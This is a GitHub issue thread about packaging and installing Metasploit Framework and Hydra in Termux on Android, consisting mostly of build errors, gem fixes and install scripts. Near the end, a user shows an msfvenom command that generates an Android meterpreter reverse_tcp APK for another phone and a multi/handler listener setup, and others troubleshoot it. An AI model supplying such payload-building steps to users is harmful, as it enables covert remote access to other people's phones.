Termux-packages: Package request: metasploit-framework

Created on 31 Jan 2017  ·  689Comments  ·  Source: termux/termux-packages

Please add metasploit and hydra in termux ...

package request

Most helpful comment

Uninstall Termux and install again..then try @Auxilus script or u can try my....curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh
Self tested script just chmod 777 metasploit.sh
Then ./metasploit.sh
And then cd metasploit-framework-4.14.28
Then ./msfconsole

All 689 comments

I got hydra to build but haven't tested it myself. Try it out with:

wget http://fornwall.net/hydra_8.4_aarch64.deb
apt install ./hydra_8.4_aarch64.deb

or if using a 32-bit arm device:

wget http://fornwall.net/hydra_8.4_arm.deb
apt install ./hydra_8.4_arm.deb

Does it seem to work?

It works !!
I'll be happy if you release it in main repository so that everyone can use it!

@Auxilus Ok great, thanks for testing!

I've released the package to the main repository, so anyone can now install hydra with:

apt update && apt install hydra

I've also enabled pcre and ssh support in the released package, which was not enabled in the test version linked to above.

About msfconsole and hping: They will require some additional work, as they are more complex to build.

I have tried compiling it on device but it segfaults.
You can try it yourselves. You'll first need to compile ruby 2.3 as its incompatible with the latest one that we have in the repo.
After installing ruby2.3, follow compile instructions for metasploit framework from the official git repo.

But termux has ruby 2.4.0 so do I have to downgrade it to 2.3?

Yes, metasploit depends on packages which break on ruby 2.4.

The issue about ruby 2.4 support in metasploit, which will hopefully be fixed soon: https://github.com/rapid7/metasploit-framework/issues/7814

@Auxilus You will probably have to wait a bit, just subscribe to this thread and await any news!

@fornwall Looks like it's fixed !!
rapid7/metasploit-framework#7862

Even though the main repo has been updated for ruby 2.4, many dependencies still require 2.3

Hmmm let's wait it out I think...

@vishalbiswas If you could just tell me which dependencies then maybe I can put an issue on their git page to update it for rb2.4

It seems that they are tracking it on https://github.com/rapid7/metasploit-framework/pull/7819

Hey guys the metasploit framework supporting ruby 2.4 is been released !!

Please share the working .deb file here ...
Thanks

Any update??

Yeah... Metasploit is been pushed for ruby 2.4 , I've compiled it on my phone (@vishalbiswas gave me instructions) and it works pretty well.....

But all the upstreams for MSF are yet to be updated

Metasploit works in Termux. It requires some ruby gems with native extensions. I don't know how to package such an application. You can install metasploit from their github repo. The build will fail at Nokogiri which can be solved by following a closed issue in this repo. It will also fail on network_interface. You'll need to install this gem manually after resolving the build error.

With a few hacks it seems to be working:

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

@timwr you also need to modify and install network_interface

@vishalbaswas, the above script includes a fix for that gem

@fornwall is there a way to package this up so pkg install metasploit-framework works?

+1 for packaging :D

Sorry about the random comment, my touchscreen is being finicky...

I'm having difficulties with the above script, see below for the output:

$ gem install nokogiri -- --using-system-libraries
Fetching: mini_portile2-2.2.0.gem (100%)
Successfully installed mini_portile2-2.2.0
Fetching: nokogiri-1.8.0.gem (100%)
Building native extensions with: '--using-system-libraries'
This could take a while...
ERROR: Error installing nokogiri:
ERROR: Failed to build gem native extension.

current directory: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.0/ext/nokogiri

/data/data/com.termux/files/usr/bin/ruby -r ./siteconf20170703-21395-1ucqeci.rb extconf.rb --using-system-libraries
checking if the C compiler accepts ... yes
Building nokogiri using packaged libraries.
Using mini_portile version 2.2.0
Static linking is disabled.
checking for gzdopen() in -lz... yes
checking for iconv... yes


IMPORTANT NOTICE:

Building Nokogiri with a packaged version of libxml2-2.9.4
with the following patches applied:
- 0001-Fix-comparison-with-root-node-in-xmlXPathCmpNodes.patch
- 0002-Fix-XPointer-paths-beginning-with-range-to.patch
- 0003-Disallow-namespace-nodes-in-XPointer-ranges.patch

Team Nokogiri will keep on doing their best to provide security
updates in a timely manner, but if this is a concern for you and want
to use the system library instead; abort this installation process and
reinstall nokogiri as follows:

gem install nokogiri -- --use-system-libraries
    [--with-xml2-config=/path/to/xml2-config]
    [--with-xslt-config=/path/to/xslt-config]

If you are using Bundler, tell it to use the option:

bundle config build.nokogiri --use-system-libraries
bundle install

Note, however, that nokogiri is not fully compatible with arbitrary
versions of libxml2 provided by OS/package vendors.


Extracting libxml2-2.9.4.tar.gz into tmp/aarch64-linux-android/ports/libxml2/2.9.4... OK
Running git apply with /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.0/patches/libxml2/0001-Fix-comparison-with-root-node-in-xmlXPathCmpNodes.patch... OK
Running git apply with /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.0/patches/libxml2/0002-Fix-XPointer-paths-beginning-with-range-to.patch... OK
Running git apply with /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/nokogiri-1.8.0/patches/libxml2/0003-Disallow-namespace-nodes-in-XPointer-ranges.patch... OK
Running 'configure' for libxml2 2.9.4... * extconf.rb failed *
Could not create Makefile due to some reason, probably lack of necessary
libraries and/or headers. Check the mkmf.log file for more details. You may
need configuration options.

Provided configuration options:
--with-opt-dir
--without-opt-dir
--with-opt-include
--without-opt-include=${opt-dir}/include
--with-opt-lib
--without-opt-lib=${opt-dir}/lib
--with-make-prog
--without-make-prog
--srcdir=.
--curdir
--ruby=/data/data/com.termux/files/usr/bin/$(RUBY_BASE_NAME)
--help
--clean
--use-system-libraries
--enable-static
--disable-static
--with-zlib-dir
--without-zlib-dir
--with-zlib-include
--without-zlib-include=${zlib-dir}/include
--with-zlib-lib
--without-zlib-lib=${zlib-dir}/lib
--enable-cross-build
--disable-cross-build

you could try this command:

gem install nokogiri -- --use-system-libraries --with-xml2-config=/data/data/com.termux/files/usr/bin/xml2-config --with-xml2-include=/data/data/com.termux/files/usr/include/libxml2

@acovrig refer to #79 and #69

Please can anyone give me the detailed instructions of how to fix the network_interface issue. I have been trying to fix it but it keeps on giving me errors, can anyone tell me how to make metasploit work

I have created a wiki page for installing metasploit-framework, which can be found at https://wiki.termux.com/wiki/Metasploit
Please, contribute to the wiki and report any errors.

@vaishaliswas there error in install gem grpc v1.4 .0
i copy this error below but not copy full error .
ion -Wno-sign-conversion -Wno-invalid-source-encoding -MMD -MF /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/grpc-1.4.0/src/ruby/ext/grpc/objs/opt/third_party/cares/cares/ares_destroy.dep -c -o /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/grpc-1.4.0/src/ruby/ext/grpc/objs/opt/third_party/cares/cares/ares_destroy.o third_party/cares/cares/ares_destroy.c
make: Leaving directory '/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/grpc-1.4.0'
* extconf.rb failed *
Could not create Makefile due to some reason, probably lack of necessary
libraries and/or headers. Check the mkmf.log file for more details. You may
need configuration options.

Provided configuration options:
--with-opt-dir
--without-opt-dir
--with-opt-include
--without-opt-include=${opt-dir}/include
--with-opt-lib
--without-opt-lib=${opt-dir}/lib
--with-make-prog
--without-make-prog
--srcdir=.
--curdir
--ruby=/data/data/com.termux/files/usr/bin/$(RUBY_BASE_NAME)

extconf failed, exit code 1

Gem files will remain installed in /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/grpc-1.4.0 for inspection.
Results logged to /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/extensions/arm-linux/2.4.0/grpc-1.4.0/gem_make.out

how to solve grpc gem installation proble ...help please

Got same error @vishalbiswas

@Auxilus Any idea How to fix ...i have already search a many thread but Result was "0"

one more error ffi gem installation but i'll fix
install libffi-dev&libffi
gem install ffi -v xxx

@Techzindia @Auxilus
For grpc try this workaround: https://github.com/timwr/metasploit-framework/commit/77734f82eee2a46ebc46f646fff5bce433b5bb6f
Alternatively you can try my branch: git clone -b termux https://github.com/timwr/metasploit-framework.git

@timwr
but howvto use This ?? I confused.....help please
in step by step
Thanks for sharing

Try this within termux:

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

Let me know how it goes

i already download Metasploit Framework from https://github.com/rapid7/metasploit-framework
and nokogiri & network_interface already installed
can i replace my gemfile.local into this file ?? https://github.com/timwr/metasploit-framework/commit/77734f82eee2a46ebc46f646fff5bce433b5bb6f

In that case I think you can just delete that one line from your Gemfile then bundle install

@timwr thank u so much
but one error come

WARNING: linker: /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so: unused DT entry: type 0xf arg 0x16ae
Segmentation fault tasPloit Framework console...-

what happen in tasploit?

Weird the segfault is not good. Can you try the commands I put above in a new install of termux? It works for me

ya i install all.
screenshot_20170708-230637

see error in screenshot

thank You @timwr
now!!! Metasploit Framework install successfully​....i remove old Metasploit and reinstall with tour git.
again Thank You :)

I'm working on a proper solution to get grpc to work in Termux.
In the meantime, @timwr, you are welcome to write your solution in the wiki.

What's the issue with grpc? It doesn't work on Debian arm either apparently. I don't think it's even needed

@timwr Apparently looks like it does , cz I cant initiate metasploit without it.

I think we need libgprc ..

without grpc Metasploit working fine!! i don't use all exploit but some exploit working stable.

You replaced the Gemfile or just did bundle install on timwr's metasploit fork?

No! i Not Replace any gemfile....just Clone And "sudo bundle Install" ant install nokogiri manually .And Use Sudo For msfconsole/msfvenom. bcoz without sudo Error are come.

'k i'll give it a try ..

so , just git clone https://github.com/timwr/metasploit-framework and do sudo bundle install and install nokogiri manually ?

yes or
``apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

but you dont have any file named Gemfile.local ...

just follow above step ...dont worry!!

'k

To summarise there are 3 gem issues that prevent a simple bundle install from installing the dependencies:

  • network_interface needs this patch: https://github.com/rapid7/network_interface/issues/5 (this is fixed by using the Gemfile.local in my branch)
  • grpc needs to be fixed or ignored (this is fixed/worked around by removing from the Gemfile)
  • nokogiri needs the following gem install nokogiri -- --using-system-libraries

@vishalbiswas I can work on getting the network_interfaces fixes into metasploit. When I first played around with I was running into this error/fix: https://github.com/rapid7/network_interface/pull/4 but, I can no longer reproduce it. Instead https://github.com/rapid7/network_interface/pull/5 seems to be required.
Do you know how to reproduce the conditions necessary for https://github.com/rapid7/network_interface/pull/4 or is that change no longer necessary? Perhaps it's because we were missing some dependency.
For grpc, were you able to install it at all?

Two more minor issues:

fixed, ignore this

@timwr I'm getting

/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require': cannot load such file -- network_interface_ext (LoadError)
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require_with_backports'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `block in require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:240:in `load_dependency'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `require'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/network_interface-0.0.1/lib/network_interface.rb:6:in `<top (required)>'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require_with_backports'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `block in require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:240:in `load_dependency'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `require'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/opt_address_local.rb:2:in `<top (required)>'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require_with_backports'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `block in require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:240:in `load_dependency'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `require'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/opt.rb:31:in `LHOST'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/opt.rb:74:in `<module:Opt>'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/opt.rb:17:in `<module:Msf>'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/opt.rb:3:in `<top (required)>'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/backports-3.8.0/lib/backports/std_lib.rb:9:in `require_with_backports'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `block in require'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:240:in `load_dependency'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/activesupport-4.2.9/lib/active_support/dependencies.rb:274:in `require'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb:34:in `initialize'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/payload_set.rb:198:in `new'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/payload_set.rb:198:in `add_module'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/loading.rb:73:in `on_module_load'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/base.rb:182:in `load_module'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/base.rb:237:in `block in load_modules'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/directory.rb:50:in `block (2 levels) in each_module_reference_name'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rex-core-0.1.11/lib/rex/file.rb:133:in `block in find'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rex-core-0.1.11/lib/rex/file.rb:132:in `catch'
        from /data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/rex-core-0.1.11/lib/rex/file.rb:132:in `find'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/directory.rb:41:in `block in each_module_reference_name'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/directory.rb:30:in `foreach'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/directory.rb:30:in `each_module_reference_name'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/modules/loader/base.rb:236:in `load_modules'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/loading.rb:119:in `block in load_modules'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/loading.rb:117:in `each'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/loading.rb:117:in `load_modules'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/module_paths.rb:41:in `block in add_module_path'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/module_paths.rb:40:in `each'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/core/module_manager/module_paths.rb:40:in `add_module_path'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/base/simple/framework/module_paths.rb:50:in `block in init_module_paths'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/base/simple/framework/module_paths.rb:49:in `each'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/base/simple/framework/module_paths.rb:49:in `init_module_paths'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/msf/ui/console/driver.rb:219:in `initialize'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/metasploit/framework/command/console.rb:62:in `new'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/metasploit/framework/command/console.rb:62:in `driver'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/metasploit/framework/command/console.rb:48:in `start'
        from /data/data/com.termux/files/home/metasploit-framework-4.14.28/lib/metasploit/framework/command/base.rb:82:in `start'
        from ./msfconsole:48:in `<main>'

So, I have successfully installed and tested metasploit framework for arm using this wiki page. Note that in order to follow through this wiki, #1122 needs to be merged and available in the repository.

ya!! i using meta 2 days !! without grpc ...just working normal and stable 👍 thanks to
@vishalbiswas @timwr

guys gem is not installing what should i do it is showing an error

screenshot_20170711-093438

i have tried many times but doesn't work
please reply if u can do something
i have deleted the GemFile also

Try apt remove ruby then apt install ruby
After that CD into metasploit dir then

gem install bundler
gem install nokogiri -- -- use-system-libraries
bundle install -j5

@JaDugarALi seems like your gem installation is corrupted. Remove ruby.
apt remove ruby
remove old gems rm -r $PREFIX/lib/ruby/gems
Then retry

Thanks @vishalbiswas and @Auxilus
But now how to run the metasploit framework and from where

screenshot_20170712-171329

CD into metasploit dir , then ./msfconsole , you'll have to wait 3-4 minutes untill metasploit boots.

thanks alot @Auxilus

Can Any Chance To install Social-engineering-toolkit

@Techzindia, please raise a new issue for that

@techzindia @timwr , I've already created issue for that , https://github.com/termux/termux-packages/issues/980

created​
@Auxilus @timwr @vishalbiswas

How can i install crunch package in termux?

@themastersunil we don't have crunch , but you can install a package called wordlist which does the same work , execute

apt update && upgrade 
apt install pip
pip install wordlist

@timwr @Auxilus @vishalbiswas Now We Start researching about Setoolkit in #980 join

console is not running

Thank you @Auxilus

@timwr @Auxilus @Techzindia
please take a look on issue #1131

@vishalbiswas

@JaDugarALi if you have rooted device you can use Intercepter-NG which does similar work as WireShark .. you can get it here

the msfconsole is not working what should i do

@jadugarali , first thing you should do is to post the screenshot , so that all peeps can see what are the errors.

Hello everyone . how to setup postgresql server ? im noops about metasploit..
s

_Sent from my QMobile i2 POWER using FastHub_

@JaDugarALi read "Fix shebangs" section of https://wiki.termux.com/wiki/Metasploit

@kuburan , steps for setting up postgresql server are given here
We don't have a way to get it working for metasploit yet , cz package msfdb required for it is missing

not working @vishalbiswas

Guys. I read all the comments here. You did a nice job guys about helping fornwall about it. I think sooner or later there will be apt install metasploit-framework. I believe in that. And also. Big thanks to sir Fornwall about creating this awesome application. Regarding about the tools. Its not yet prepared because the application is getting better and better. Regarding on installing the metasploit guyz. I met an error saying that the gemfile.lock is corrupted. I dont know what to do so i did just delete it all via remove app data. I have to download it again and wait for a few minutes. Naaah. Im tired of it. I hope I can install it successfully and I will give a big thanks to you guyz. Well done (y)

screenshot_20170716-182710

I got this error and also in netifaces and grpc :(. please help me

Weird. I'm not seeing that error. Did you follow the commands above? The only thing I can think of is the device is running out of space?

@timwr. I have more space. 4GB used out of 10GB.

@cr4shcod3 grpc issue is solve..by @timwr

screenshot_20170718-141825
I only need now to configure netifaces :(

Read the whole thread. Or just

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

@cr4shcod3 clear all data in termux and restart then follow @timwr

I now use GNUroot Debian. Alternative for Termux

You could use termux to do the same because it also has the proot as a substitute for chroot. You can have minimal debian or other distros and use proot to start them as GNUroot Debian does the same. My local debian installation in phone is around 11gb including lxde and full texlive packages.

Sorry for cutting into the conversation from nowhere. I recently found out about termux and you seem to have found a way to provide with the most important tool(at least for me). Thank you @timwr for that, and I'd like to know if someone was able to create a package (I've already used your procedure for installation, still a little curious).

Please give me tutorial from beginning to end.
Thanks.

screenshot_20170720-233138
like this @tomaklutfu

What is this?

Pada tanggal 23 Jul 2017 00.45, "JaDugarALi" notifications@github.com
menulis:

[image: screenshot_20170720-233138]
https://user-images.githubusercontent.com/29427088/28493376-385928e6-6f2f-11e7-9efc-60866eb89338.png
like this @tomaklutfu https://github.com/tomaklutfu


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-317199110,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AcmKcvd-9FryyXRDerk6BUBCPXPlWhrGks5sQjUfgaJpZM4LyVa1
.

I need help! :( I got this message every time.
screenshot_2017-07-22-21-11-50

There are two possible ways of successfully installing metasploit on termux:

Any update about msfdb packages,
I hope @vishalbiswas can compile msfdb packages for termux

When I did apt-get install metasploit-framework on my Kali , it compiled msfdb automatically , I can't find the msfdb file in metasploit's source code , thought I found a script on web but haven't tested it yet .

I've compiled msfdb as separate package , you are welcome to test if it's working
Package

screenshot_20170723-110417
Please help! Whats missing?? I did everything step by step :(

Thanks @timwr been tried from your repo and its works like a charm ... Dont know why tried too with manual installation always failed on network_interface and grpc gems.

Please help!!! When i install grpc, its also failed.

Pada tanggal 23 Jul 2017 22.09, "One Core" notifications@github.com
menulis:

Thanks @timwr https://github.com/timwr been tried from your repo and
its works like a charm ... Dont know why tried too with manual installation
always failed on network_interface and grpc gems.


You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-317259786,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AcmKclXdOtJqv_0K8-iKMd35zdrFxOqIks5sQ2I5gaJpZM4LyVa1
.

screenshot_20170724-102538
Can any1 see what's the error ??

@Auxilus it work well mate,,
thank you so much

screenshot_20170724-114820

Cool ! @kuburan , have you tested all commands in msfdb ?
msfdb init / delete etc ?

Ya, unfortunately i got error too when i type msfdb init , but as alternative i create manualy database.yml files both in config directory and .msf4 directory, so i never run command msfdb init .
i just need msfdb start and msfdb stop and then
run ./msfconsole . and database still work correctly

@kuburan , how you created custom yml ? Also BTW you can do msfdb start msfdb stop manually using pg_ctl , creating database is the issue with current script , can you tell me how you created yml files ?, I'll see if I can use it to code the msfdb manually

@kuburan , where are you come from?

@Auxilus I follow your given instruction before,

mkdir -p $PREFIX/var/lib/postgresql
initdb $PREFIX/var/lib/postgresql

and i install your msfdb packages

$ msfdb start
server starting
$ createuser your_user -P
$ createdb --owner=your_user msf_database

and then i run ./msfconsole

msf > db_status
[] postgresql selected, no connection
msf> db_connect your_user:[email protected]:5432/msf_database
[
] Rebuilding the module cache in the background...
msf > exit
$

i write database configuration.

$ cat > ~/metasploit-framework/config/database.yml << EOF
production:
adapter: postgresql
database: msf_database
username: your_user
password: enter_your_password
host: 127.0.0.1
port: 5432
pool: 75
timeout: 5
EOF
$
$ cat > ~/.msf4/msfconsole.rc << EOF
db_connect -y ~/metasploit-framework/config/database.yml
workspace -a your_project
EOF
$

in my case i got error with psych-2.2.4 gemfile, i dunno. maybe i forgot install psych gemfile in previous step installation., i install it gem install psych

i run msfconsole again

./msfconsole
[] Processing /data/data/com.termux/files/home/.msf4/msfconsole.rc for ERB directives.
resource (/data/data/com.termux/files/home/.msf4/msfconsole.rc)> db_connect -y ~/metasploit-framework/config/database.yml
[-] postgresql already connected to msf_database
[-] Run db_disconnect first if you wish to connect to a different database
resource (/data/data/com.termux/files/home/.msf4/msfconsole.rc)> workspace -a your_project
[
] Added workspace: your_project
msf > workspace
default
your_project
msf > exit
$
$ msfdb stop
waiting for server to shut down.... done
server stopped
$

@kuburan Thanks for the steps , I'll try to implement them while installing msfdb..

intex aqua trend_2017-07-25-14-43-01
Solve this issue plz..

try rto run with Sudo

intex aqua trend_2017-07-25-15-03-30
@Techzindia
Bro sudo try krne ke baad ab ye error hai....

This is new error .....plz help
intex aqua trend_2017-07-25-16-28-54

Now i have bundle....but now new issue is arrise....
intex aqua trend_2017-07-25-18-58-42

I am also get error of network enterface I try to install but not work

@scsarfa indo gan

tmpdoodle1501064046401

@trick765 I'll see what's wrong with it ...

@trick765 Please try :-
apt update && apt upgrade && cd ./
gem uninstall network_interface && gem unpack network_interface

cat > $HOME/netifaces.patch << EOF
--- network_interface-0.0.1/ext/network_interface_ext/netifaces.c
+++ network_interface-0.0.1/ext/network_interface_ext/netifaces.c
@@ -677,7 +677,7 @@
     return Qnil;
   }

-  pfreq = ifc.CNAME(ifc_req);
+  *pfreq = ifc.CNAME(ifc_req);

   for (n = 0; n < ifc.CNAME(ifc_len)/sizeof(struct CNAME(ifreq));n++,pfreq++)
   {
EOF

patch network_interface-0.0.1/ext/network_interface_ext/netifaces.c < netifaces.patch && cd network_interface-0.0.1

gem build network_interface.gemspec && gem install network_interface-0.0.1.gem

tell me if it works or not

@Auxilus Bro after this error I was very disappointed.... And I hit the command.
gem unpack network_interface
gem build network_interface.gemspec
gem install network_interface-0.0.1.gem
And Viola.... Successfully installed....without any patch......
But when I executed the command
./msfconsole
Error comes...error was..
The git source https://github.com/timwr/network_interface.git is not yet checked out please run bundle install before trying to start your application

@Hax4us weird !! How could you install network_interface without patch ? It fails on our devices ! Also the not yet checked out issue must be related to git source of your metasploit , try running bundle install --deployment or @timwr can help you ( as your metasploit source is from his git )

@Hax4us weird !! How could you install network_interface without patch ? It fails on our devices ! Also the not yet checked out issue must be related to git source of your metasploit , try running bundle install --deployment or @timwr can help you ( as your metasploit source is from his git )

I'll paste this one more time for you guys:

Uninstall termux
Re-install termux
Paste the following exactly into termux

apt update
apt -y upgrade
apt -y install git ruby ruby-dev make clang autoconf curl wget ncurses-utils libsqlite-dev postgresql postgresql-dev libpcap-dev libffi-dev libxslt-dev pkg-config
git clone -b termux https://github.com/timwr/metasploit-framework.git
cd metasploit-framework
gem install bundler
gem install nokogiri -- --using-system-libraries
bundle install --gemfile Gemfile.local
./msfconsole

@timwr what about my issue.....git source issue....
The git source https://github.com/timwr/network_interface.git is not yet checked out please run bundle install before trying to start your application

Try the steps above please.

@timwr kk...i will..but last question...can i implement all your steps without root....

yes you can

@timwr bro Without sudo the bundle show error at ffi gem i tried without root an also nokogiri show error without root

This is what i did when using @timwr repo ... Clear all data of termux app and then follow the steps @timwr has given above, all without sudo. Its really works guys

Report : im failed using exploit hendler,, i try to create .apk file using msfvenom, and i install the .apk file in my another phone, the .apk file is successfully installed in my another phone, but when i fire up msfconsole i got stuck, i try waiting until 20 minutes and the console is do nothing, and i decide to cancel it.
here i copy the error message :

$ ./msfvenom -p android/meterpreter/reverse_tcp LHOST=(my ip) LPORT=4444 R > ~/metasploit-framework/test.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 8802 bytes
$
$ ./msfconsole
msf > use exploit/multi/handler\r
msf exploit(handler) > set payload android/meterpreter/reverse_tcp\r
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST (my ip)
LHOST => (my ip)
msf exploit(handler) > set LPORT 4444\r
LPORT => 4444
msf exploit(handler) > exploit\r

[-] Handler failed to bind to (my ip):4444:- -
[] Started reverse TCP handler on 0.0.0.0:4444
[
] Starting the payload handler...
^C[-] Exploit failed: Interrupt
[*] Exploit completed, but no session was created.
msf exploit(handler) > show options\r

Module options (exploit/multi/handler):

Name Current Setting Required Description
---- --------------- -------- -----------

Payload options (android/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST (my ip) yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

Make sure ip is correct and u can Try with different port like 8080

@kuburan , make sure your IP is not dynamic , there is more complicated process for creating payload if you are using meterpreter over WAN , also as @Hax4us told , port 4444 might be in use by some other process , I suggest to use high ports like 65100 etc which are not likely to be in use .

@Auxilis
Ya Right but Not complicated
E.x
ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=YOUR IP LPORT=4444 R > /sdcard/name.apk

@Auxilus bro...succesfully patched and installed.now what i do
intex aqua trend_2017-07-26-19-16-00

@hax4us CD in metasploit dir , and do bundle install -j5 if you have any required gems left to be installed , else just fire up metasploit ./msfconsole

@Auxilus bro..now I have network interface installed but now 😑😢see
intex aqua trend_2017-07-26-19-22-49

@Hax4us plz refer https://github.com/termux/termux-packages/issues/715#issuecomment-318025485 which is for the same problem

